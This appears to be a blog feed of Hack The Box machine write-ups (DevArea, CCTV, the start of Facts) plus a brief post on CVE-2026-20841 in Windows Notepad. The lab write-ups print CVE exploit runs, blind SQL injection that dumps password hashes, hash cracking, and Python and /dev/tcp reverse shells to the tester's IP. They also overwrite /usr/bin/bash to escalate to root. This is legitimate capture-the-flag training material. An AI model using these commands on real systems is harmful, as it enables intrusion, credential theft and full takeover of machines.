https://github.com/advisories/GHSA-r4h8-hfp2-ggmf
<strong>but before exploiting we need to find the admin creds.</strong>
The systemd unit file for HoverFly reveals its startup command — complete with hardcoded credentials passed as CLI arguments.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2022-46364.py <span class="se">\</span>
  <span class="nt">-t</span> http://devarea.htb:8080/employeeservice <span class="se">\</span>
  <span class="nt">-s</span> file:///etc/systemd/system/hoverfly.service <span class="se">\</span>
  <span class="nt">-d</span> devarea.htb
</code></pre></div></div>
<p>got</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Unit]</span>
<span class="py">Description</span><span class="p">=</span><span class="s">HoverFly service</span>
<span class="py">After</span><span class="p">=</span><span class="s">network.target</span>

<span class="nn">[Service]</span>
<span class="py">User</span><span class="p">=</span><span class="s">dev_ryan</span>
<span class="py">Group</span><span class="p">=</span><span class="s">dev_ryan</span>
<span class="py">WorkingDirectory</span><span class="p">=</span><span class="s">/opt/HoverFly</span>
<span class="py">ExecStart</span><span class="p">=</span><span class="s">/opt/HoverFly/hoverfly -add -username admin -password redact -listen-on-host 0.0.0.0</span>

<span class="py">Restart</span><span class="p">=</span><span class="s">on-failure</span>
<span class="py">RestartSec</span><span class="p">=</span><span class="s">5</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Credentials Found:</strong> <code class="language-plaintext highlighter-rouge">admin:redact</code> for Hoverfly Dashboard!</p>
</blockquote>

<hr />

<h2 id="hoverfly-dashboard--rce">Hoverfly Dashboard &amp; RCE</h2>

<h3 id="accessing-the-dashboard">Accessing the Dashboard</h3>

<p>Navigate to <code class="language-plaintext highlighter-rouge">http://devarea.htb:8888</code> and log in with:</p>
<ul>
  <li><strong>Username:</strong> <code class="language-plaintext highlighter-rouge">admin</code></li>
  <li><strong>Password:</strong> <code class="language-plaintext highlighter-rouge">redact</code></li>
</ul>

<h3 id="cve-2025-54123---hoverfly-rce-as-discovered-earlier">CVE-2025-54123 - Hoverfly RCE as discovered earlier</h3>

<p><strong>Exploit Script:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2025-54123.py <span class="se">\</span>
  <span class="nt">-u</span> admin <span class="se">\</span>
  <span class="nt">-p</span> redact <span class="se">\</span>
  <span class="nt">-c</span> <span class="s2">"whoami"</span> <span class="se">\</span>
  <span class="nt">-t</span> http://devarea.htb:8888
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Login on http://devarea.htb:8888/api/token-auth
[+] Token: eyJhbGciOiJIUzUxMiIs...
[+] Sending RCE: whoami

=== OUTPUT ===
dev_ryan
</code></pre></div></div>

<blockquote>
  <p>** Command execution confirmed!** now upgrade to a reverse shell.</p>
</blockquote>

<h3 id="spawning-a-reverse-shell">Spawning a Reverse Shell</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2025-54123.py <span class="nt">-u</span> admin <span class="nt">-p</span> redact <span class="nt">-c</span> <span class="s2">"whoami"</span> <span class="nt">-t</span> http://devarea.htb:8888 <span class="nt">-r</span> 10.10.15.9 4444
</code></pre></div></div>

<p><strong>wohoo got the shell</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>connect to [10.10.15.9] from (UNKNOWN) [10.129.244.208] 58104
bash: cannot set terminal process group (1461): Inappropriate ioctl for device
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$
</code></pre></div></div>

<hr />
<h2 id="user-flag">User Flag</h2>

<p>With our shell established, let’s grab that user flag.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev_ryan@devarea:/<span class="nv">$ </span>
find <span class="nb">.</span> <span class="nt">-name</span> <span class="s2">"user.txt"</span>
./home/dev_ryan/user.txt
<span class="nb">cat</span> /home/dev_ryan/user.txt
</code></pre></div></div>
<hr />

<h2 id="privilege-escalation-analysis">Privilege Escalation Analysis</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh
</code></pre></div></div>

<blockquote>
  <p><strong>Privesc Vector:</strong> woa i can run <code class="language-plaintext highlighter-rouge">/opt/syswatch/syswatch.sh</code> as root without a password!
in the same dir where i found the user flag i also discovered a script called <code class="language-plaintext highlighter-rouge">syswatch.zip</code></p>
</blockquote>

<p><strong>Key Finding:</strong> The script calls <code class="language-plaintext highlighter-rouge">/usr/bin/bash</code> in several functions. But here’s the kicker:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/bash
<span class="c"># Output: -rwxrwxrwx 1 root root 1396520 ... /usr/bin/bash</span>
</code></pre></div></div>

<blockquote>
  <p><strong>CRITICAL MISCONFIGURATION:</strong> <code class="language-plaintext highlighter-rouge">/usr/bin/bash</code> is <strong>world-writable</strong>! Anyone can modify the system’s bash binary.</p>
</blockquote>

<hr />

<h2 id="root-exploitation">Root Exploitation</h2>

<h3 id="setting-up-a-clean-shell">Setting Up a Clean Shell</h3>

<p>Our current reverse shell is bash-based, which would be killed when we terminate all bash processes. We need a clean, non-bash shell.</p>

<p><strong>On Kali (Second Listener):</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 5332
</code></pre></div></div>

<p><strong>From existing shell, send a Python PTY shell:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import socket,os,pty;s=socket.socket();s.connect(("10.10.15.9",5332));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'</span>
</code></pre></div></div>

<p><strong>Shell Received on port 5332:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
</code></pre></div></div>

<blockquote>
  <p><strong>Clean shell acquired!</strong> This is <code class="language-plaintext highlighter-rouge">/bin/sh</code>, not bash.</p>
</blockquote>

<h3 id="creating-the-malicious-payload">Creating the Malicious Payload</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Backup the real bash binary</span>
<span class="nb">cp</span> /usr/bin/bash /tmp/bash.bak

<span class="c"># Create our payload script</span>
<span class="nb">echo</span> <span class="s1">'#!/tmp/bash.bak'</span> <span class="o">&gt;</span> /tmp/bash_payload
<span class="nb">echo</span> <span class="s1">'chmod u+s /usr/bin/python3'</span> <span class="o">&gt;&gt;</span> /tmp/bash_payload

<span class="c"># Make it executable</span>
<span class="nb">chmod</span> +x /tmp/bash_payload

<span class="c"># Verify contents</span>
<span class="nb">cat</span> /tmp/bash_payload
</code></pre></div></div>

<p><strong>Payload Contents:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/tmp/bash.bak</span>
<span class="nb">chmod </span>u+s /usr/bin/python3
</code></pre></div></div>

<blockquote>
  <p><strong>What this does:</strong> When executed as root, it sets the SUID bit on Python3. SUID binaries run with the <strong>owner’s permissions</strong> (root), regardless of who executes them.</p>
</blockquote>

<h3 id="killing-bash-processes">Killing Bash Processes</h3>

<p>We need to free <code class="language-plaintext highlighter-rouge">/usr/bin/bash</code> so we can overwrite it.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find all bash processes</span>
ps aux | <span class="nb">grep </span>bash | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nb">grep</span>
</code></pre></div></div>

<p><strong>Output:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev_ryan    5267  0.0  0.1   8544  5508 ?        S    07:07   0:00 bash -i
dev_ryan    5546  0.0  0.0   7340  3668 ?        S    07:15   0:00 /bin/bash /tmp/hoverfly/hoverfly_3324889479
dev_ryan    5547  0.0  0.0   7340  3616 ?        S    07:15   0:00 bash -c bash -i &gt;&amp; /dev/tcp/10.10.15.9/4444 0&gt;&amp;1
dev_ryan    5548  0.0  0.1   8544  5508 ?        S    07:15   0:00 bash -i
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Kill all bash processes</span>
<span class="nb">kill</span> <span class="nt">-9</span> 5267 5546 5547 5548

<span class="c"># Verify no processes are using /usr/bin/bash</span>
lsof /usr/bin/bash
<span class="c"># (No output = file is free)</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Note:</strong> Our original shell on port 4444 died here - that’s why we created the second shell!</p>
</blockquote>

<h3 id="deploying-the-payload">Deploying the Payload</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Overwrite the system bash binary</span>
<span class="nb">cp</span> /tmp/bash_payload /usr/bin/bash

<span class="c"># Verify the replacement</span>
<span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/bash
<span class="nb">cat</span> /usr/bin/bash
</code></pre></div></div>

<p><strong>Output:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-rwxrwxrwx 1 root root 43 Apr  9 07:21 /usr/bin/bash
#!/tmp/bash.bak
chmod u+s /usr/bin/python3
</code></pre></div></div>

<h3 id="triggering-the-exploit">Triggering the Exploit</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> /opt/syswatch/syswatch.sh web-status
</code></pre></div></div>

<blockquote>
  <p>The <code class="language-plaintext highlighter-rouge">syswatch.sh</code> script runs as root and calls <code class="language-plaintext highlighter-rouge">/usr/bin/bash</code>, executing our payload with root privileges!</p>
</blockquote>

<h3 id="checking-for-suid-python3">Checking for SUID Python3</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/python3
</code></pre></div></div>

<p><strong>Before:</strong> <code class="language-plaintext highlighter-rouge">lrwxrwxrwx 1 root root 10 /usr/bin/python3 -&gt; python3.12</code><br />
<strong>After:</strong> The actual <code class="language-plaintext highlighter-rouge">python3.12</code> binary now has the SUID bit set.</p>

<h3 id="spawning-root-shell">Spawning Root Shell</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import os; os.setuid(0); os.system("/bin/sh")'</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># id</span>
<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1001<span class="o">(</span>dev_ryan<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1001<span class="o">(</span>dev_ryan<span class="o">)</span>
</code></pre></div></div>

<blockquote>
  <p><strong>WE ARE ROOT!</strong></p>
</blockquote>

<hr />

<h2 id="flag">Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># cat /root/root.txt</span>
</code></pre></div></div>
<p>Note : there are more alternatives ways to get root btw
—
<em>Thanks for reading! Happy hacking! 🚀</em></p>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="htb" /><summary type="html"><![CDATA[Hack The Box devarea machine writeup]]></summary></entry><entry><title type="html">HTB – CCTV</title><link href="https://surajitsen.live/htb/2026/03/26/cctv-htb.html" rel="alternate" type="text/html" title="HTB – CCTV" /><published>2026-03-26T00:00:00+05:30</published><updated>2026-03-26T00:00:00+05:30</updated><id>https://surajitsen.live/htb/2026/03/26/cctv-htb</id><content type="html" xml:base="https://surajitsen.live/htb/2026/03/26/cctv-htb.html"><![CDATA[<p><img src="/assets/images/ctf/cctv/box.png" alt="box" /></p>

<p>hlw guys, i am back today 
target: cctv.htb 
let’s exploit it together!</p>

<h2 id="recon">Recon</h2>

<p>so after getting the ip i first ran</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rustscan <span class="nt">-a</span> 10.129.12.97
</code></pre></div></div>

<p>found 2 ports open: 22 and 80 
after heading over to port 80 there is a page 
mostly named SecureVison 
then i ran gobuster as well as fuzzing subdomains, nothing found interesting !</p>

<p>next i checked the staff login button</p>

<p>i found zoneminder login 
it’s a “A full-featured, open source, state-of-the-art video surveillance software system. Monitor your home, office, or wherever you want.”
i checked the default creds for login and saw the default creds are admin/admin</p>

<p>version running: v1.37.63 
i quickly googled the exact version in order to search for vulnerabilities related to it 
and wowa, found CVE-2024-51482</p>

<p>https://github.com/BridgerAlderson/CVE-2024-51482
there is a blind sql injection vulnerability 
http://target/zm/index.php?view=request&amp;request=event&amp;action=removetag&amp;tid=[INJECTION_POINT]</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2024-51482.py <span class="nt">-i</span> cctv.htb <span class="nt">-u</span> admin <span class="nt">-p</span> admin <span class="nt">--discover</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Target: cctv.htb

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Logging <span class="k">in </span>as <span class="s1">'admin'</span> on cctv.htb...
<span class="o">[</span>+] Login successful
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Measuring baseline response time...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Baseline median: 0.284s
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Testing vulnerability with 2s sleep...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Response <span class="nb">time</span>: 2.36s
<span class="o">[</span>+] Target is vulnerable!
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Enumerating databases...
<span class="o">[</span>+] Found database: information_schema                
<span class="o">[</span>+] Found database: performance_schema                                 
<span class="o">[</span>+] Found database: zm
</code></pre></div></div>

<p>let’s try to dump the username and password table</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2024-51482.py <span class="nt">-i</span> cctv.htb <span class="nt">-u</span> admin <span class="nt">-p</span> admin <span class="nt">--dump</span> zm Users <span class="s2">"Username,Password"</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Target: cctv.htb

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Logging <span class="k">in </span>as <span class="s1">'admin'</span> on cctv.htb...
<span class="o">[</span>+] Login successful
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Measuring baseline response time...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Baseline median: 0.259s
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Testing vulnerability with 2s sleep...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Response <span class="nb">time</span>: 2.27s
<span class="o">[</span>+] Target is vulnerable!
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping data from <span class="s1">'zm.Users'</span>...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Row 1: <span class="o">{</span><span class="s1">'Username'</span>: <span class="s1">'admin                                   &amp;            #                8              #  #                                       '</span>, <span class="s1">'Password'</span>: <span class="s1">'$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0krtbm                      &amp;                                             '</span><span class="o">}</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Row 2: <span class="o">{</span><span class="s1">'Username'</span>: <span class="s1">'mark                                                                     /                                                      '</span>, <span class="s1">'Password'</span>: <span class="s1">'$2y$10$prZGnazejKcuTv5bKNexYOgLyQaok0hq07LW7AJ
</span></code></pre></div></div>

<p>it’s a bcrypt hash, let’s try to crack it using hashcat</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"markhashhere"</span> <span class="o">&gt;</span> hash.txt
hashcat <span class="nt">-m</span> 3200[for bcrypt <span class="nb">hash</span><span class="o">]</span> hash.txt <span class="o">[</span>your preferred wordlist here] recommended rockyou.txt
</code></pre></div></div>

<p>after getting the password 
try to connect using ssh</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh mark@cctv.htb               
The authenticity of host <span class="s1">'cctv.htb (10.129.12.97)'</span> can<span class="s1">'t be established.
ED25519 key fingerprint is SHA256:KrrHjS+nu1wJEfv1/NxT1fI+ODJaSRdJtFg201G+tO0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>cctv.htb<span class="s1">' (ED25519) to the list of known hosts.
mark@cctv.htb'</span>s password: 
Permission denied, please try again.
mark@cctv.htb<span class="s1">'s password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
mark@cctv:~$
mark@cctv:~$ ls -la 
total 40
drwxr-x--- 6 mark mark 4096 Mar 26 14:55 .
drwxr-xr-x 4 root root 4096 Mar  2 09:49 ..
lrwxrwxrwx 1 root root    9 Feb 13 10:01 .bash_history -&gt; /dev/null
-rw-r--r-- 1 mark mark  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 mark mark 3771 Mar 31  2024 .bashrc
drwx------ 2 mark mark 4096 Mar  2 09:49 .cache
drwx------ 3 mark mark 4096 Mar  2 09:49 .gnupg
drwxrwxr-x 3 mark mark 4096 Mar 26 14:55 .local
-rw-r--r-- 1 mark mark  807 Mar 31  2024 .profile
drwx------ 2 mark mark 4096 Mar  2 09:49 .ssh
-rw-rw-r-- 1 mark mark  165 Sep 14  2025 .wget-hsts
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
mark@cctv:~$ sudo -l
[sudo] password for mark: 
Sorry, user mark may not run sudo on cctv.
mark@cctv:~$ sudo -l
[sudo] password for mark: 
Sorry, user mark may not run sudo on cctv.
mark@cctv:~$
</span></code></pre></div></div>

<p>since it’s related to some cctv-related stuff, let’s check the services running inside it 
for that i used ss -tlnp</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss <span class="nt">-tlnp</span>
State  Recv-Q Send-Q Local Address:Port  Peer Address:Port Process 
LISTEN 0      151        127.0.0.1:3306       0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096      127.0.0.54:53         0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096         0.0.0.0:22         0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096       127.0.0.1:7999       0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096       127.0.0.1:1935       0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096       127.0.0.1:8554       0.0.0.0:<span class="k">*</span>            
LISTEN 0      70         127.0.0.1:33060      0.0.0.0:<span class="k">*</span>            
LISTEN 0      128        127.0.0.1:8765       0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096       127.0.0.1:8888       0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096       127.0.0.1:9081       0.0.0.0:<span class="k">*</span>            
LISTEN 0      4096            <span class="o">[</span>::]:22            <span class="o">[</span>::]:<span class="k">*</span>            
LISTEN 0      511                <span class="k">*</span>:80               <span class="k">*</span>:<span class="k">*</span>
</code></pre></div></div>

<p>then i quickly googled some ports like 7999,1935,8765
and found port 8765 is used for the motioneye service</p>

<p>motioneye “MotionEye is a web interface for the motion daemon, which is a video surveillance program that includes motion detection capabilities. It allows users to manage and visualize multiple camera feeds from a single platform”</p>

<p>the config file is located here Main Configuration File: The primary file for motionEye server settings is /etc/motioneye/motioneye.conf. This file defines paths for logs, media, and other global options</p>

<p>source: github official docs</p>

<p>then to interact with this web interface i needed to forward the port</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-L</span> 8765:127.0.0.1:8765 mark@cctv.htb
</code></pre></div></div>

<p>got it 
there is a login page! 
<img src="/assets/images/ctf/cctv/motioneye.png" alt="box" />
i tried to login with the username as “admin” and the password associated with it 
found in config file and boom! 
then after seeing the version 
i found another CVE CVE-2025-60787
https://github.com/gunzf0x/CVE-2025-60787</p>

<p>“A critical Remote Code Execution (RCE) vulnerability exists in
motionEye 0.43.1b4 and earlier versions, identified primarily as CVE-2025-60787 (also related to GHSA-j945-qm58-4gjx). This vulnerability allows an authenticated attacker with administrative access to execute arbitrary OS commands via the add_camera functionality in the web interface. “</p>

<p>since motioneye runs as root inside the machine, if we get a shell we can entirely access root as well 
no need for priv escalation</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[/home/kali/Downloads/cctv/CVE-2025-60787]
└─# python3 CVE-2025-60787.py revshell <span class="se">\</span>
<span class="nt">--url</span> <span class="s1">'http://127.0.0.1:8765'</span> <span class="se">\</span>
<span class="nt">--user</span> <span class="s1">'admin'</span> <span class="se">\</span>
<span class="nt">--password</span> <span class="s1">'redact'</span> <span class="se">\</span>
<span class="nt">-i</span> 10.10.14.84 <span class="se">\</span>
<span class="nt">--port</span> 4444
</code></pre></div></div>

<p>make sure to start nc -lvnp 4444</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] Attempting to connect to 'http://127.0.0.1:8765' with credentials 'admin:989c5a8ee87a0e9521ec81a79187d162109282f0'
[*] Valid credentials provided
[*] Obtaining cameras available
[*] Found 1 camera(s)
    1) Name: 'CAM 01' ; ID: 1; root_directory: '/var/lib/motioneye/Camera1'
[*] Using camera by default (first one found) for the exploit
[*] Payload successfully injected. Check your shell...
~Happy Hacking
</code></pre></div></div>

<p>got the shell</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@cctv:/# find / <span class="nt">-name</span> <span class="s2">"root.txt"</span>   
find / <span class="nt">-name</span> <span class="s2">"root.txt"</span> 
/root/root.txt
root@cctv:/# <span class="nb">cd</span> /root
<span class="nb">cd</span> /root
root@cctv:~# <span class="nb">cat </span>root.txt
<span class="nb">cat </span>root.txt

root@cctv:~# find / <span class="nt">-name</span> <span class="s2">"user.txt"</span> 
find / <span class="nt">-name</span> <span class="s2">"user.txt"</span> 
/home/sa_mark/user.txt
root@cctv:~# <span class="nb">cd</span> /home/sa_mark 
<span class="nb">cd</span> /home/sa_mark
root@cctv:/home/sa_mark# <span class="nb">ls
ls
</span>SecureVision Staff Announcement.pdf
user.txt
root@cctv:/home/sa_mark# <span class="nb">cat </span>user.txt
<span class="nb">cat </span>user.txt

root@cctv:/home/sa_mark#
</code></pre></div></div>

<p>happy hacking! 
btw if you really like my writeups please leave a comment so i can make it better.
thanks btw!</p>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="htb" /><category term="htb" /><category term="cctv" /><category term="zoneminder" /><category term="motioneye" /><category term="sql-injection" /><category term="rce" /><category term="cve-2024-51482" /><category term="cve-2025-60787" /><category term="writeup" /><category term="cybersecurity" /><summary type="html"><![CDATA[Hack The Box CCTV machine writeup covering ZoneMinder blind SQL injection and motionEye authenticated RCE to root shell.]]></summary></entry><entry><title type="html">CVE-2026-20841</title><link href="https://surajitsen.live/cve/2026/02/13/CVE-2026-20841.html" rel="alternate" type="text/html" title="CVE-2026-20841" /><published>2026-02-13T00:00:00+05:30</published><updated>2026-02-13T00:00:00+05:30</updated><id>https://surajitsen.live/cve/2026/02/13/CVE-2026-20841</id><content type="html" xml:base="https://surajitsen.live/cve/2026/02/13/CVE-2026-20841.html"><![CDATA[<p>Guys , 
another stupid CVE was disclosed in Windows Notepad that allows command execution via crafted Markdown links. scary and stupid right ?</p>

<p>lets analyze it together</p>

<h2 id="references">References</h2>

<ul>
  <li>https://foss-daily.org/posts/microsoft-notepad-2026/</li>
  <li>https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841</li>
</ul>

<h2 id="details">Details</h2>

<table>
  <thead>
    <tr>
      <th>Detail</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CVE ID</td>
      <td>CVE-2026-20841</td>
    </tr>
    <tr>
      <td>CVSS Score</td>
      <td>8.8 (High)</td>
    </tr>
    <tr>
      <td>Vulnerability Type</td>
      <td>Command Injection (CWE-77)</td>
    </tr>
    <tr>
      <td>Affected App</td>
      <td>Modern Notepad app (Microsoft Store)</td>
    </tr>
    <tr>
      <td>Affected Versions</td>
      <td>11.0.0 to 11.2509</td>
    </tr>
    <tr>
      <td>Fixed In</td>
      <td>11.2510+</td>
    </tr>
    <tr>
      <td>Patch Date</td>
      <td>February 10, 2026</td>
    </tr>
    <tr>
      <td>Active Exploitation</td>
      <td>Yes, PoC available</td>
    </tr>
    <tr>
      <td>Workaround</td>
      <td>Limited (update required)</td>
    </tr>
  </tbody>
</table>

<h2 id="overview">Overview</h2>

<p>we all have used windows notepad right ? back to previous days in the era of windows 10 and 7 when windows notepad considered as only notepad with no bloated things and AI stuffs.</p>

<p>but in 
moderen Windows 11 added Markdown handling. The issue is that the Markdown link handler does not validate link protocols before execution. so a crafted <code class="language-plaintext highlighter-rouge">.md</code> file can trigger command execution when a user clicks a link.</p>

<blockquote>
  <p>“Someone at Microsoft thought “what if Notepad could execute commands?” and shipped it enabled by default. Attackers can now trick users into opening a malicious .md file, you click a link, and BAM, code runs with your full permissions. Full system compromise. It is that bad.</p>
</blockquote>

<blockquote>
  <p>The vulnerability itself is straightforward. Notepad’s Markdown handler does not validate what is in those links before executing them. A specially made file with the right protocol prefix does the rest. Phishing a user to click becomes a full system compromise.”</p>
</blockquote>

<blockquote>
  <p>Source: https://foss-daily.org/posts/microsoft-notepad-2026/</p>
</blockquote>

<h2 id="attack-flow">Attack Flow</h2>

<p><img src="/assets/images/CVES/CVE-2026-20841/1.png" alt="exploit" />
<img src="/assets/images/CVES/CVE-2026-20841/2.png" alt="exploit" />
<img src="/assets/images/CVES/CVE-2026-20841/3.png" alt="exploit" /></p>
<ol>
  <li>An attacker sends a malicious <code class="language-plaintext highlighter-rouge">.md</code> file (for example, <code class="language-plaintext highlighter-rouge">meeting-notes.md</code>).</li>
  <li>The victim opens it in Notepad and clicks a link.</li>
  <li>The link triggers command execution instead of opening in a browser.</li>
  <li>The attacker gets full system control.</li>
</ol>

<h2 id="proof-of-concept">Proof of Concept</h2>

<ul>
  <li>https://github.com/BTtea/CVE-2026-20841-PoC</li>
</ul>

<h2 id="mitigation">Mitigation</h2>

<ul>
  <li>Update Notepad to 11.2510 or later.
and for safely disable AI stuffs and turn of markdown preview.
thats all folks happy hacking !</li>
</ul>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="cve" /><summary type="html"><![CDATA[Guys , another stupid CVE was disclosed in Windows Notepad that allows command execution via crafted Markdown links. scary and stupid right ?]]></summary></entry><entry><title type="html">HTB-Facts</title><link href="https://surajitsen.live/htb/2026/02/11/htb-facts.html" rel="alternate" type="text/html" title="HTB-Facts" /><published>2026-02-11T00:00:00+05:30</published><updated>2026-02-11T00:00:00+05:30</updated><id>https://surajitsen.live/htb/2026/02/11/htb-facts</id><content type="html" xml:base="https://surajitsen.live/htb/2026/02/11/htb-facts.html"><![CDATA[<p><img src="/assets/images/ctf/htb-facts/title.png" alt="exploit" /></p>

<h2 id="initial-reconnaissance">Initial Reconnaissance</h2>
<p>its a easy machine ! 
lets start</p>

<p>after getting the ip first i run rustscan cause it really faster than nmap</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rustscan <span class="nt">-a</span> 10.129.13.46 <span class="nt">--ulimit</span> 1000 <span class="nt">-r</span> 1-65535 <span class="nt">--</span> <span class="nt">-A</span> <span class="nt">-sC</span> <span class="nt">-Pn</span>
</code></pre></div></div>

<h3 id="scan-results">Scan Results</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp    open  http    syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| http-methods: 
